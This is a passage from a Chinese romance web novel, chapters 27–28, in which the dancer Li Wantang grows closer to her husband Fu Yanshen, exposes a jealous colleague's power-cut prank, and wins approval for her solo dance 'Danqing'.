黎晚棠摇头:“没有,起码在我进舞蹈团以来,从没出现过。” 说完,她偏头四处看了眼,没看到有什么人,低低出声:“没准是时间太久老化了,我们先走吧。” 他都过来接她了,她也不可能再排练下去。 返回排练厅收拾好东西,黎晚棠直接穿着舞蹈服回家。 经历过刚才的黑暗,她没胆子去洗澡房洗澡。 两人刚走到舞团门口,天空轰隆一声,雷声响彻天际,密密麻麻的暴雨骤然倾泻,天空像被撕开一道裂口。 屋檐下,平排的地砖被砸起无数道水花。 “你刚才过来的时候,雨也这么大吗?” 黎晚棠望着不断往下砸的雨水,无意识收紧胳膊。 下雨后的温度还是有些偏凉,加上她穿的是舞蹈服,微风刮过,面料凉飕飕的。 没听到身旁人的回答,黎晚棠刚要偏头,一件宽大的西服外套先落在她肩膀上,里衬贴着她皮肤,还带着一丝余温。 “先披着吧。” 傅砚深低头帮她整理衣领,又问:“是等雨小点再走,还是现在就回家。” 黎晚棠抬头对上他那双平静的黑眸,以及那张轮廓深邃且清俊的面孔,心里忽然划过一抹柔软。 她垂下眼睫:“太晚了,我们现在就走。” 傅砚深肩头的衬衣已经贴在皮肤上,她不用上手膜,也知道是来时淋湿的。 而且,人家把外套都给她了,若他们再这般等下去,估计他身体会受凉。 意识到自己是在关心傅砚深,黎晚棠慌忙地眨了眨眼。 是刚刚吓傻了吧,她怎么会为他着想。 最后黎晚棠给自己找了个借口,应该是他主动给她外套,她心生怜悯。 对,就是这样。 闻言,傅砚深把黑伞打开,遮过她头顶,低声道:“走吧。” 出发前,黎晚棠抬手拢了拢身上外套,肩头背包却不小心滑落,她还来不及往上提,一只大手先接住:“给我拿着吧。” 黎晚棠盯着这只大手看了几秒,想到他平时说的那些话,她缓缓抽出手,毫无心理负担地把背包递给了他。 傅砚深将背包轻松挂在肩头,撑着伞:“现在能走了吗?” “能能能,走吧。”黎晚棠稍稍靠近他,两人走在暴雨下。 黄豆大的雨珠砸在扇面上,发出滴答滴答的声音,宛如乐曲中的清脆鼓点,她低头听着,心情莫名地愉悦起来。 这样的雨夜,让黎晚棠想起之前刷到过的雨中跳舞视频,女孩就像从雨中闪现出来的精灵,随着落下的雨水欢乐地舞动着。 她这般想着,脚尖也控制不住地舞动起来,雨水顿时浸湿她的鞋面。 傅砚深余光瞥见女孩忽然踮脚跳跃,忍不住出声提醒:“要想明天还能正常去上班,建议收一收你的舞步。” 黎晚棠跳跃地动作忽停,不知为何,现在听到傅砚深如长辈般的教导,她只觉得好笑:“傅砚深,你每天都按照设定好的生活模式走,不觉得很无趣吗?” 傅砚深没想到女孩会这么问,沉默了下,回答:“习惯了。” “那我建议你改改。” 黎晚棠不管不顾,踮脚再次舞动起来,水花不小心溅到他裤脚上,扯唇笑了:“想干嘛就干嘛,丢掉那些条条框框,活得才自在。” 傅砚深脚步停住,雨伞下,女孩低头轻踩着水洼,从她扬起的嘴角能看出此刻心情很好。 “喜欢下雨天?”他突然问了这么一句。 “不喜欢。”黎晚棠抬起头望向他,嘴角还噙着笑:“但今晚就还挺高兴的。” 不知是他的突然出现,还是主动给她穿衣打伞,又或者是此刻她毫无形象地跳水洼,而站她身旁的人,并没有因此而嘲笑她。 黎晚棠没多想,顺嘴就说了:“或许,是有你在吧。” 第27章 绵绵密密的大雨持续不断地往下落,周围嘈杂的声音全被掩盖,视线逐渐变得模糊起来。 唯有女孩这句“或许是有你在吧”,深深砸入他耳廓。 傅砚深捏住伞柄的手指收紧,平淡无波的眸子涌出几抹暗淡的亮光。 清楚她是随口而出的话,但他心跳还是紊乱了起来。 就算回到车里,依旧没能平息。 黎晚棠把身上西服脱下,整齐叠好,放在后座上。 这事要放在以前,她可没有耐心去叠。 就像在商场那次,上车就把外套甩飞了。 侧身坐好,她偏头擦了擦微湿的头发,俯身要去擦鞋面时,一条干净柔软的薄毯盖了下来。 黎晚棠愣怔抬头,目光诧异地看着他。 她能有这么大的反应,是惊讶傅砚深怎么会在车里准备这个。 而且还是条粉色? 傅砚深淡然自若地收回视线:“新的,没人用过。” 黎晚棠缓缓垂眸,指尖慢半拍地去抚摸薄毯的质感,柔暖舒适,还有一股淡淡的清香。 看来还洗过了。 她唇角轻扯,用薄毯将自己包裹起来后,扭头问:“……不会是特意给我准备的吧?” “嗯,想着没准能用到,有备无患。”傅砚深转动方向盘,往出口方向走。 车内开了暖风,整个车厢暖融融的,黎晚棠裹住薄毯蜷缩在座椅上,盯着玻璃窗上流淌的雨珠,闲聊着:“难怪沈老师他们说你会照顾人,不否认,很多事情你想得是很周到。” 傅砚深转弯时,偏头看她一眼:“你这是间接承认我很优秀?” 没想到他会这么说,黎晚棠弯唇笑了起来:“我之前只是吐槽你性格沉闷无趣,又没说你不优秀。” 美国普林斯顿出来的高智商人才,谁敢说他不优秀。 傅砚深:“谢谢,你能这般直言不讳地夸我。” “我平时也没那么吝啬吧。”黎晚棠挑眉去看他,忽而笑了:“只是没机会夸你而已。” 说话间,车子已经开到停车场岗亭口,旁边亮灯的窗户突然打开,保安大哥笑着朝他们挥手。 傅砚深见状,缓缓降下车窗,以示礼貌:“暴雨值班,辛苦了。” “您客气了,这是我们的工作。”保安大哥看向黎晚棠,笑道:“咱们舞蹈团,就你和温若棠那姑娘努力,下暴雨了还在加班。” 黎晚棠听到温若棠的名字,嘴角笑容微僵,几秒后,故作开玩笑地说:“大哥,您这话要让其他同事听到,可得怨您了。” “我就实话实说,若棠那姑娘刚走没多久呢。” 保安大哥要他们路上开车小心,又坐回椅子上。 车子平稳汇入主路,黎晚棠偏头盯着窗外的骤雨,若有所思起来。 傅砚深抽空看她一眼,似乎也能猜到她在思考什么。 无外乎是今晚电闸的蹊跷。 黎晚棠是那种心里有事藏不住的人,次日刚到舞蹈团,就直奔后台监控室。 来之前,她特意买了几份早餐送给工作人员,而后笑盈盈地要他们帮忙,查昨晚停电前走廊上的那段监控。 吃人嘴短,况且也不是不能查,大叔点开后,就让她自己看。 黎晚棠说了句谢谢,拉开椅子坐下,目光紧盯着监控画面。 果然,等了一会儿后,原本空无一人的走廊上出现温若棠的身影,她似乎刚从另一个排练厅出来,往前走了几步,忽然偏头往另一个排练厅看去。 紧接着,她快步来到楼梯间,身影消失不见。 然而那个楼梯间,正是昨晚她跟傅砚深找电表箱的地方。 下一秒,整个画面变成了黑色状态,只有右上角显示的时间还在跳动。 七点五十分,跟昨晚停电的时间刚好吻合。 看到这,黎晚棠脸上表情顿时冷了下来,捏住手机的指尖一点点收紧。 上次在苏州的事还没找她算账,现在又开始搞事。 黎晚棠垂眸,打开手机录像把温若棠出现的那段画面拍了下来,而后起身跟值班人员说了句谢谢,转身出了监控室。 她一路面无表情地来到休息室。 此时,温若棠打开储物柜,开始更换舞蹈服排练。 黎晚棠见状,气势汹汹地走上前,一把将柜门关上。 碰一声巨响,不少同事都偏头看了过来。 温若棠被她这番举动吓一跳,本能地往后退了几步,怒气道:“黎晚棠,大早上的,你发什么疯!” 从黎晚棠拿到冠军后,团里走到哪都能听到她的名字,温若棠心里的怨气憋很久了,今日见她这般无礼,正好把压着的火骂了出来。 “这就疯了。” 黎晚棠目光沉沉地紧盯着她,扯唇轻笑:“想看我真正发起疯来,是什么样吗?” 温若棠抿了抿唇,见她来势汹汹的模样,心里隐约猜到些什么,语气顿时弱了几分:“……你心情不好,别拿我出气。” 旁边同事见状,眼底都带着好奇,似乎也很意外,两人会直面争吵起来。 黎晚棠根本不在意同事们打量的目光,嘴角笑意收敛,慢慢侧身凑到温若棠耳边:“关闸的事,你以为没人看见就相安无事了?” 温若棠眼眸忽睁,有些诧异地抬头看着她。 难道,事情被她发现了? 瞧见她这副做贼心虚的模样,黎晚棠轻嗤了声:“要想人不知的,除非己莫为。” 她站直身,余光瞥了眼在场的其他同事,声音略大了些:“劝你别惹我,再有下次,我会直接把证据交给团长,要她来处置。” 丢下这话,黎晚棠转身阔步离开休息室,只留下几双面面相觑的眼睛。 现在似乎不需要知道细节,她们也清楚,是温若棠惹到了黎晚棠。 至于是因为什么,大家心知肚明。 除了嫉妒,恐怕没别的了。 这时,突然有人出声:“走吧,要到排练时间了。” “哦哦哦,等等我,这就走。” 看着大家避之不及地慌忙离开,温若棠压住心底那股烦躁,垂在腿边的手用力攥紧。 要她在大家面前出丑,甚至背后议论,这就是黎晚棠这次警告的目的。 她重新拉开柜门时,犀利的眼睛眯了起来:“黎晚棠,我们来日方长,看你能骄傲到什么时候。”- 这事很快就在团里传开,不过都是私下偷偷议论,可这话还是传到了团长的耳朵里。 “晚棠,你跟若棠的事我听说了一些,你们没闹什么矛盾吧?” 苏清不知情事情的缘由,只能委婉问她,她们两位都是舞蹈团的优秀舞者,她不希望发生什么不愉快的事。 黎晚棠扯唇:“没有,就嘴快争了两句,已经没事了。” 舞蹈团里注重团结,她也是考虑到这点,才没把温若棠偷偷关闸的事捅破,这事虽然不严重,却也能让她受到一定的惩罚。 “没矛盾就好,以后都在一起共事,我不希望这些问题,影响到你们的排练。” 苏清说完这些,话题转到她的舞蹈上,嘴角带着笑:“听林蕊说你们这支舞蹈已经改编完成?” 黎晚棠点头:“嗯,舞蹈细节上有了很大的改变。” 说着,她笑着夸奖道:“林编导很优秀,给了我很多好的建议。” 苏清认同地点头:“你们俩在我眼里都是舞痴,对舞蹈很执着。” 这也是她安排林蕊的原因,同样喜爱舞蹈的人,一定是有共鸣的。 “是这样的,上面领导开会,想要给你这支舞蹈取名,你心里有心仪的名字吗?” “我……” 黎晚棠后面话没说完,竭力压抑心里的激动。 对于取名字这事她想过,比赛没有正式的剧目名,现在团里出资打造,肯定会有一个正式的演出名字。 其实早有两个字,深深刻进她心底。 黎晚棠停顿了下,开口:“丹青。” 苏清挑眉:“丹青,倒是挺有诗情画意的一个名字。” 接着,她笑着问:“你是怎么理解这两个字的。” “墨舞丹青,就好比动作如书法般行云流水,也很符合我这支舞蹈的主题深度。” 黎晚棠认为这个名字更贴近她这支舞蹈。 苏清听完她的解释,轻轻点:“嗯,听你这么说,我也觉得这名字不错,这样吧,我会跟团里其他领导一起讨论。” 出门时,苏清又嘱咐:“明天上午团领导会亲自验收你这支改编后的舞蹈,晚棠,你这边没问题吧。” 黎晚棠忙点头:“没问题,我已经磨合得很好了。” “行,期待你明天的表演。” 苏清笑着卖关子:“你提的剧目名能不能成,同样在明天揭晓。” 黎晚棠弯唇笑了:“好,不会让您失望的。” 明天需要保持一个好的状态,黎晚棠今晚没加班,到下班点就准时回家。 输入密码进屋,发现屋内灯光竟然都亮着,石头也在客厅里灵活地转来转去,忙碌工作。 黎晚棠弯腰换上拖鞋,还来不及放入鞋柜,就快步往客厅走去。 只是刚走近,就看到在厨房忙碌的那道背影。 听到动静,男人扭头看来:“回来了?” 黎晚棠愣怔点头,放下背包,径直朝厨房走了过去。 似乎很意外,他今天能那么早回来。 她站定在傅砚深身旁,低头见他正在煎牛排,下意识舔了舔唇:“这是今晚的晚餐?” “嗯,还煮了芦笋。” 傅砚深侧目看她一眼:“先去换衣服,等会儿出来吃饭。” “嗯,好。” 黎晚棠嘴巴应着,脚却没动,眼底直勾勾盯着锅里的牛排,滋滋冒油,还能闻到腌制过的焦香。 傅砚深见她不动,索性停下动作,侧过身看着她:“听话,先去换衣服。” “……” 黎晚棠顿时被他这句“听话”砸得发愣。 顿了片刻,她缓慢地抬起头,恰好与他对视上,从男人严肃的眼底竟看到了几分温柔。 没错,他连说话的语气都是温柔。 黎晚棠轻眨了眨眼,而后快速转身,垂着进入卧室。 等关上门,黎晚棠憋着了那口气缓缓吐出。 今晚傅砚深是不是中邪了,怎么说话的语气跟平时完全不一样? 换好衣服再次回到客厅,傅砚深已经煎好牛排,正低头摆盘。 黎晚棠要往前走的脚步倏地停下,见男人如此认真的模样,竟有些不想打扰。 灯光下,男人身形修长,那只骨节分明的手,指甲修剪得干净而整齐,隔着距离,都能看清他指甲上的月牙弧度。 确实是很干净漂亮的一只手,跟他本人一样。 牛排被他斜切成入口刚好的厚度,错落有致地铺在瓷白盘中,一侧堆着迷迭香枝,另一侧是清脆的芦笋,现磨的胡椒颗粒,被热气裹挟出诱人的香味。 只见他用番茄酱小心翼翼点缀在瓷盘周围,最后呈现出的效果,跟西餐厅那般精致。 黎晚棠看得入神,半天没动。 要是搁在以前,她只会觉得这样做是多此一举,食物都吃进肚子里了,谁还在意那些花里胡哨的摆盘。 但如今看到有人用心做着这样的事,她心情竟也变得美好起来。 傅砚深直起身时,余光瞥见站在走廊上愣着不动的女孩,淡淡出声:“过来吃饭。” “哦,好嘞。”黎晚棠回神,迈着小碎步跑了过去。 拉开椅子时,低头扫了眼桌上精致的摆盘,沉默了会儿,又返回卧室去拿手机:“你等会儿啊,我先拍张照。” 以前出去跟叶知薇吃饭,她就特喜欢拍照,等她拍完,她饿得直咽口水。 主要是她们每次排练完,早就饿得前胸贴后背,看见吃的大脑就缺氧,哪还有拍照的欲望。 长时间下来,就算她去餐厅吃饭,看到精致漂亮的摆盘,也没有要拍照的冲动。 但这一刻,她却只想记录下来。 连拍了好几张,黎晚棠看向耐心等她拍完照的男人,讪讪扯唇:“快吃吧,牛排凉了可不好吃。” 说着,她率先拿起了刀叉开吃。 傅砚深见女孩急不可耐的模样,低头时,眉眼间划过笑意。 吃饭间,两人都不说话,安静地只有轻碰瓷盘的声音。 黎晚棠晚上不吃主食,一块牛排三两下进肚,期间还吃了不少芦笋。 不得不再次夸奖,傅砚深的厨艺是真不错。 放下刀叉抬头,对面人已经吃完了,看样子是在等着收盘子。 白吃了好几顿,黎晚棠也不好意思全要他干活,虽说干活的男人有魅力,但想到一顿饱,和顿顿饱。 她还是适当表现一下自己的勤快。 “你别动,剩下的我来就行。”她弯腰开始收拾。 “不用。”傅砚深目光平静地看着她:“有洗碗机。” 黎晚棠收拾瓷盘的动作忽停,抬头时,嘴角轻扯:“瞧瞧,我是真心想帮忙,只是没有我的用武之地。” 她很快又改口:“不过,我把这些放洗碗机里,也算是劳动付出了。” 傅砚深拉开椅子站起身:“就算你什么都不做,我也不会嫌弃你。” “……” 黎晚棠表情再次愣住。 他今晚怎么回事,老冒出这种迷惑发言,像烟雾弹似的,分不清那句是真情流露,那句是他平铺直叙的说话方式。 但多听几次,她逐渐免疫,习惯他时不时冒出的暧昧言辞:“不是怕你嫌弃,我是真想洗碗。” 他做饭,她洗碗,吃起来才没有心理负担。 将瓷盘放入洗碗机,等它开始运作,黎晚棠回头看了眼,傅砚深已经不在餐厅了。 她拿起餐桌上的手机,边点开屏幕边低头往卧室走,侧身拐入走廊时,傅砚深的声音响了起来:“过来泡脚。” 黎晚棠顺势偏头,见男人俯身探试泡脚桶的水温,她快步走了过去,诧异道:“你都放好水了?” “嗯,现在水温刚好。” 黎晚棠笑了笑,也没跟他客气,放下手机就躺了上去:“嘻嘻,还是你这张躺椅舒服。” 傅砚深起身时,漆黑的眸子看着她:“喜欢,以后这就是你的专属。” 黎晚棠抬眸对上男人认真且专注的眼神,舔唇嘀咕:“……那多不好意思,这是你家,我还把你的位置给占了。” 听到“你家”两字,傅砚深眉头微拧了下,片刻,他郑重提醒:“黎晚棠,这也是你的家。” “……” 她一怔,盯着他看。 “你别忘了,我们是领过证的合法夫妻,我名下所有财产都有你的一份。”傅砚深偏头扫了眼周围,平静道:“包括这栋房子。” 等傅砚深离开,黎晚棠脑中还回荡着他那句。 ——这里也是你的家。 不知为何,她心绪忽然乱了起来。 从搬进来的那一刻,她给这里的定义就是借住,从未把这里当作是她家,所以带过来的行李都很少。 平时除了卧室和舞蹈房,她也不会随便去傅砚深的书房和健身房,更不乱碰他的东西。 走出自己的舒适圈,这点分寸感她还是懂。 所以为了迎合他的生活方式以及习惯,她一个懒得收拾房间的人,摆放每一件物品时,都会尽量做到最好。 虽然还是被傅砚深嫌弃凌乱,但已经是她耐心的极限了。 平时在家这些都有阿姨整理,她从来不管这些,回到家反正都是整齐干净的。 现在他却说,他名下所有财产都有她的一份,包括这栋房子。 思及此,黎晚棠仰头认真环视一圈,抿直的嘴角一点点扬起。 突然感觉自己瞬间变富有了。 她低头摸了摸身后这张躺椅,闭眼轻笑出声:“嘻嘻,这些我都有权使用。” 泡完脚,睡前给她膝盖擦药的任务,不知从什么时候开始,已经变成傅砚深的事。 男人手法娴熟,力度刚好,每次按摩都能让黎晚棠昏昏欲睡。 可能是今天发生了太多好事,她有点亢奋。 “我们团长下午找我了,说明天会有团领导过来审核我优化过的这支舞蹈。” 黎晚棠单手撑着脸颊,偏头跟他说话时,眼底冒着星光:“如果能成功通过,这支舞不仅能正式进行商演,而且还会冠上一个全新的剧目名。” 说到这,她嘴角弧度越来越大,语气中还略带出几分自豪感:“剧目名叫《丹青》,我自己取的,你觉得好听吗?” 傅砚深偏头去看她,见女孩嘴角扬起的笑意,声音不自觉柔和下来:“嗯,好听。” “是吧,我也觉得。” 黎晚棠换了个姿势,仰头盯着天花板继续幻想:“以后我会带着《丹青》站在更大的舞台,让更多人看到我的舞蹈。” 只是这话刚落,她嘴角笑意瞬间敛了起来:“但是,我们团长还没给我答复,这个剧目名,或许最后不一定叫《丹青》。” 剧目名需要团领导们开会决定,她并没有决定权。 团长问她,或许是出于客套的尊重。 “可以的。” 黎晚棠忽而抬头:“什么?” 傅砚深停下手里动作,垂眸看她时,脸上表情极其郑重:“我说,你的梦想会成真。” 不管是希望更多人看到她的舞蹈,还是剧目名,都能如愿。 因为她值得- 次日,黎晚棠在家跟着音乐跳了两遍,确保待会儿表演不出任何错误,才去洗澡。 到了舞蹈团,黎晚棠换上舞蹈服就去化妆间上妆。 他们舞蹈团有自己的化妆师,有时候舞团巡演都跟着出差。 “我根据你上次比赛的妆容做了些调整,你看看这样行不行。” 小桃化妆师将眉笔合上,低头看她的反应。 黎晚棠睁开眼,熟悉的妆容跟上次一样,只是眼尾的眼线往上挑出,眼妆颜色更醒目了些。 她偏头来回看了看,弯唇笑道:“挺好的,谢谢小桃老师。” 被叫小桃老师的女孩笑了下,抬手跟她加油:“那我就提前祝你顺利通过。” “谢谢。” 黎晚棠站起身,对着镜子整理好裙摆,转身去往演播厅。 抵达时,里面只有灯光老师和音响老师,团领导还没到。 之前有彩排过,黎晚棠只需等领导们到场,就可以正式开始表演。 等待的期间里,那种紧张依旧存在,就好比每次上台表演,大家都会来回深呼吸,缓解紧张。 之所以会紧张,是因为他们珍惜每一次上台的机会。 恰好这时,手机响了起来。 黎晚棠点开查看,是傅砚深发来的短信:【别紧张,肯定会通过的。】 看着这条信息,她忽地弯唇笑了:【说得好像你是我们团领导似的,语气这么坚定。】 傅砚深:【我眼光好,相信他们也一样。】 黎晚棠无奈勾唇,这人说话还是一如既往地迷惑,只是没等她回复,傅砚深的信息再度弹了出来:【实在紧张,允许你吃颗糖。】 黎晚棠表情微惊,这还是铁面无私的傅砚深吗? 竟然主动让她吃糖! 她挑眉调侃:【你不是禁止我吃甜食吗?】 傅砚深:【可你这次吃的不是糖,而是好运。】 盯着这句话,黎晚棠眉眼间不自觉盈满笑意,心底的紧张也因此莫名消失。 其实她包里时常备有糖果,可能是答应过傅砚深,她就稍稍有了些克制。 特别是得知,他对甜食有应激反应后。 但现在他都允许了,黎晚棠再也忍不住,转身从背包翻出糖果,在蓝色薄荷糖和粉色草莓糖之间犹豫了会儿,最后选择了草莓糖。 当下这一刻,她是开心的。 一颗糖下肚,团领导也纷纷落坐,黎晚棠慢慢闭上眼睛,开始进入状态,让自己彻底沉浸在情绪里。 灯光亮起,一如之前的开场,黎晚棠纤细的身姿,骤然出现在水墨屏风后。 这支舞的音乐时常没变,只是新添的舞蹈动作,让整支舞的内容变得更加丰富多彩。 以及让舞步变得更灵动鲜活。 一曲结束,台下立马有掌声响起。 黎晚棠定点动作结束,笑着朝台下领导鞠躬。 团里的艺术总监,迫不及待拿过话筒讲话:“黎晚棠,谢谢你用这支舞蹈,给我们带来了全新的惊喜。” 声音中能听出他话里的激动:“你这支舞蹈的感染力和主题深度,让我们格外记忆犹新,好几个舞蹈动作深深刻在脑海里,动作编排新颖,段落过渡自然,高潮部分很有记忆点。” 话落,艺术总监直接站起身,朝她郑重颔首:“再次谢谢你,带我们看了一场视觉盛宴。” 如此高的评价,让黎晚棠受宠若惊,她抬手捂着激动地心跳,低头说谢谢。 而其他领导说的话也大差不差,都是些夸奖的词汇。 等所有人都发言后,几人偏头低声讨论,最后由苏清宣布。 “晚棠,现在我正式通知你,这支重新改编的舞蹈全票通过,你即将带着它进行商业和文旅局的演出。” 黎晚棠激动得手都在发抖,极力克制自己的情绪,安静听完团长后面的话。 “我希望你做好准备,带着你这支《丹青》走出国门,让更多人看到你的作品,并让我们舞蹈团,也因此发光发热。” 黎晚棠听到“丹青”两个字时,眼眶湿润,激动的心情再也抑制不住。 终于,她终于有了自己的代表作。 下台后,心里那股激动的情绪完全压不住,就像要爆发的火山,她急需找一个突破口,与人分享这个喜悦。 黎晚棠拿出手机,拨通傅砚深的电话,这完全是她下意识地动作。 等那边接通,她才后知后觉地反应过来。 她此刻想分享的人,潜意识里认定的居然是傅砚深。 “表演结束了吗?” 对方声音很平静,细听之下,又像是刻意在等待。 黎晚棠抿着唇瓣,重重点头:“嗯,结束了。” 那头似乎停顿了下,小心翼翼询问:“所以,你的愿望实现了吗?” 黎晚棠绷紧的嘴角,也在此刻灿烂地绽开,笑容像晨间绽开的荷花,整个演播厅都沾染上了清冽的淡香味。 “嗯,实现了。” 她仰头看向若大的演播厅,眼底闪着熠熠亮光:“傅砚深,你说得对,大家的眼光跟你一样,都很好。” 第28章 《丹青》成为独舞作品后,黎晚棠接到的第一个演出,就是京北举办的艺术节。 这一届举办地点正好在京北,她们东方舞蹈团被邀约了两个剧目表演,其中一个,就是黎晚棠的独舞作品。 这支舞蹈能被入选,黎晚棠认为是上次比赛在网上爆火的原因,有了一定的曝光率,被有关负责人注意到了。 黎晚棠得到这个消息,迫不及待给沈老师打去电话:“妈,我收到艺术节的邀约了!” 她雀跃的声音,就算隔着手机,沈听荷也能感受到她此刻的喜悦。 瞬间让她想到黎晚棠十八岁拿奖的那年,她直接蹦起来抱着她,高兴地像得到糖果的孩子。 作为母亲,她为黎晚棠感到骄傲:“棠棠,这只是一个开端,妈妈相信会有更多机构和观众看到你的舞蹈,你往后的路会更加宽广。” 艺术节是具有全国性、群众性的重要文化艺术节,所以能被邀约的作品,都象征着一定的实力。 黎晚棠能如此激动,是因为她清楚,她的作品已经逐渐被大家认可。 “这个我当然知道。” 黎晚棠勾唇轻笑,一点也不谦虚,语气里还带着几分自豪。 沈听荷听完后失笑起来,说现在就要去抢艺术节的票,带着大家去看演出。 黎晚棠眉眼带笑地挂断电话,换上私服准备拿包时,电话再次响起。 看到是傅砚深,她边接电话,边急忙往外走:“你是到了吗,我现在就出来。” 最近膝盖旧伤没犯,一来是她排练时间安排得好,二来是傅砚深每晚给她按摩。 她接下来都有演出,不能像以前那样猛练,没有特殊情况她都是正常上下班。 黎晚棠不清楚傅砚深工作忙不忙,反正得知她是正常下班后,每天都会过来舞团接她。 刚到门口,就看到有同事在跟他打招呼,傅砚深也颔首点头,话不多,但不失礼节。 黎晚棠笑着走过去,仰头调侃:“你再多来几次,全舞团的同事都知道你是我老公了。” 听到“老公”这个称呼,傅砚深黑眸轻闪了下,而后很自然地接过她背包:“合法的,不怕人知道。” 黎晚棠被他这话逗笑,好像越跟他相处,就越发现,傅砚深这人还自带点冷幽默。 当然,这点他或许察觉不到。 “嗯,你这话听着也没毛病。” 黎晚棠轻轻点头,两人一同往停车场走。 上车后,傅砚深提议:“今晚,要不出去吃吧。” 黎晚棠系好安全带,诧异偏头看他:“你不是说,自己做的才健康吗?” 跟他同住后才发现,傅砚深这人从不叫外卖,除了必要的应酬,他一般不会在外面吃饭。 按照他的话来说,外面的东西不健康。 这跟便宜贵无关,只因他看不到后厨的情况,以及厨师使用的工具和食材是否干净。 洁癖能严格成这样,她目前见过的人里面,也只有傅砚深了。 “这几天一直在忙,来不及帮你庆祝《丹青》的成功。” 傅砚深偏头看她一眼,又补充:“不过,你要不喜欢去外面吃,回家做也行。” “吃呗,就当换换口味。” 傅砚深的厨艺是不错,但最近天天在家吃,也有点腻了。 傅砚深挑眉看她,直接问:“腻了?” “没有!偶尔在外面吃一顿,也算是给自己放松嘛。” 黎晚棠可不敢明说吃腻了,万一这人撂摊子不干,以后没得吃。 她扯唇笑道:“天天做饭,你也累。” 傅砚深没猜穿她那点小心思,转动方向盘,平稳汇入车流,很快就抵达一家私人菜馆。 黎晚棠推门下车,仰头四处张望,她也是在京北长大的,怎么没发现这边还有一家私房菜。 从门口停的豪车来看,来这吃饭的人身份都不一般。 傅砚深绕过车头走了过来,低声道:“走吧,我提前订了位置。” 进入胡同巷子,由石板铺的路逐渐变宽,极具年代感的四合院映入眼帘,青砖灰瓦,是京北别具一格的建筑特色。 迈入院子,门外有提前接待的服务人员,把他们带到靠窗的位置。 落坐后,黑金色的茶壶端上桌,两杯茶斟满,茶香四溢。 黎晚棠单手端着茶杯放在嘴边轻抿了口,而后扭头去看院子里的景色,仔细扫了一圈,目光才转向对面的人:“这地方环境很美,你是怎么找到的?” 不说吃饭,就端着茶杯在这里坐一会儿,也觉得格外惬意舒适。 “之前跟朋友来过一次,觉得环境和味道都不错,便记下了。” 傅砚深见她茶杯已空,拿起茶壶又给她添满。 说到朋友,黎晚棠脑中瞬间想到的,是跟她相过亲的裴竞洲,毕竟当时两人看起来关系不错。 她下意识问:“是裴竞洲,还是程晏川?” 叶知薇采访程晏川的那篇财经报道,在同期报道中反响不错,连她们主编开会都拿她题材当榜样来夸。 而且,她当月奖金直接翻倍了。 那段时间,叶知薇没少在她耳边夸程晏川,说他采访很配合。 所以在黎晚棠印象中,傅砚深的朋友也就这位记忆深刻。 傅砚深忽而抬眸,盯着看她了一会,才道:“你有些记忆倒是挺好。” 黎晚棠不解:“哪方面?” 傅砚深缓缓垂眸,端起茶杯一饮而尽:“人名上。” 不等她说话,他又低声解释:“嗯,没错,是跟他们过来吃过。” “……” 黎晚棠若有所思地看了他几眼,总觉得他这两句话说得有些莫名其妙。 而且,看他这会儿的脸色也没有刚才好。 她没说错什么吧? 恰好这时,服务员把他们点的菜端上桌,她飘远的思绪瞬间被菜色吸引。 盯着色香味俱全的红烧鱼,黎晚棠不客气地拿起筷子:“看着不错,我先吃尝尝。” 傅砚深似乎习惯她每次吃饭都迫不及待的样子,明明看起来像个吃货,身材却控制得很好。 后面的菜陆续上桌,黎晚棠每样都尝了一点,虽然好吃,但还是要控制体重。 吃到七分饱,黎晚棠率先放下筷子,端起茶壶倒了一杯,想借此喝点茶水解腻。 她双手捧着茶杯撑在桌面,漫不经心喝着茶,目光却不自觉落在对面的傅砚深身上。 他吃饭依旧很斯文,也很讲究,就连剔出来的鱼刺,都是整齐放在空盘里,桌面干净整洁,看不到一丝杂乱。 反观自己…… 算了,还是不对比的好。 这顿饭快吃完时,突然有人开口打破这片平静。 “傅总,没想到还能在这遇见您。” 两人顺势抬头,就见一个略微发福的中年男人,笑吟吟地朝他们走了过来。 傅砚深认出是之前的合作方,也客套起身,两人礼貌性地握了下手:“曾总。” “傅总,正想约您吃饭来着,今儿就在这儿碰上了。” 男人偏头看了眼,坐在椅子上没起身,嘴角却噙着笑容的美女,他试探问:“这位是?” 傅砚深黑眸瞥他一眼,沉默了会儿,郑重介绍:“我太太。” 再次被他喊太太,黎晚棠愣了下,而后下意识站起身,笑着打招呼:“你好。” “原来这位就是傅太太,真是百闻不如一见,您跟傅总真般配。”说着,男人就朝黎晚棠伸手。 傅砚深见状,不动声色往前走了一步,侧身站在黎晚棠身旁:“曾总,工作上的事,你可以找萧仲约时间。” 意思在提醒他,现在不是工作时间,不合适谈公事。 男人伸到半空的手缓缓收回,嘴角扯出笑意:“好的傅总,就先不打扰您和傅太太。” 傅砚深刚才的举动太明显,之前只知道他结婚了,如今碰上,没想到占有欲还挺强,握个手都不行。 他也是识趣的人,过来也只是打声招呼,并不想在此谈工作,傅砚深工作上讲究公私分明,这点他们都清楚。 黎晚棠看着人离开,侧眸瞥了眼身旁的人,几秒后,忽而弯唇笑了。 这人对妻子的占有欲还挺强,握个手都不行。 这顿饭意外被打扰,两人都没有继续吃下去的欲望,结完账,并步走出院外。 八月份的京北,早晚温差明显,少了中午的闷热,微风拂过,这会儿还算凉爽。 两人沿着巷口往外走,步伐缓慢,像是饭后的消食。 皎洁月光从高墙屋檐下洒落,在青石板上铺上一层薄薄的银纱,夜风掠过时,小道两旁的绿植四处摇曳。 “过两天,我会去参加京北举行的艺术节。” 说到这,黎晚棠停顿了下,扭头去看他:“你……要来吗?” 傅砚深垂眸:“具体是在哪天?” “这周五的晚上。” 傅砚深听到这个日期,眉心很轻地折了下,出口却是:“嗯,会去。” 周五出差的机票,他可以让萧仲改签,再延迟几个小时。 得到他肯定的回答,黎晚棠垂眸笑了。 《丹青》的成功,少不了他平日的默默付出,所以她想让他看见她在舞台上精彩的绽放。 两人不徐不疾地往外走,她忽而抬头,望着眼前这道颀长的身影,心里却在暗暗感慨。 或许他们谁都没意料到,他们有一天,漫步在这样幽静的胡同巷。 两人还一起出来吃了顿,既和谐又愉快的晚餐- 时间转眼来到周五这天,傅砚深晨跑过后,洗完澡就出门了,好像是公司有什么急事。 黎晚棠练完晨功,吃了傅砚深提前给她准备的早餐,也急匆匆出了门。 今晚的艺术节,她需要提前过去彩排,整个下午都要待在那边。 因为他们舞蹈团有两个剧目表演,苏清也跟着一起来了。 站在化妆间里,苏清给大家加油股劲:“都别紧张,好好表现,就跟平时演出一样。” “团长,话是这么说,但我还是有些紧张,这可是艺术节,好几个电视台在录播。” 有同事笑着搭话:“所以我们才要更加好好表现,没准爸妈们都守在电视前看呢。” 苏清也弯唇笑道:“对,让咱爸妈都好好看看,他们闺女跳得有多棒。” 